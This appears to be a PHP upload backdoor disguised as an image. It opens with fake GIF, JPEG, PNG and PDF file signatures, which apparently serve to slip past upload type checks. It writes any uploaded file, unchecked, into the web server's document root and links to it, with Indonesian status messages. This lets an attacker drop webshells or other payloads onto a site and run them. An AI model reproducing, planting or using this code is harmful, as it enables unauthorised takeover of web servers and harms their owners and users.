GIF89a
\xFF\xD8\xFF
\x89PNG\r\n\x1a\n
%PDF-1.4
<?php

$target_dir = $_SERVER['DOCUMENT_ROOT'] . "/";

$filename = basename($_FILES["file"]["name"]);
$target_file = $target_dir . $filename;

if (isset($_FILES["file"])) {
    if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
        echo "Upload berhasil!<br>";
        echo "Akses file: <a href='/$filename' target='_blank'>/$filename</a>";
    } else {
        echo "Upload gagal!";
    }
} else {
    echo "Tidak ada file!";
}
?>

<form method="POST" enctype="multipart/form-data">
    <input type="file" name="file" required>
    <button type="submit">Upload</button>
</form>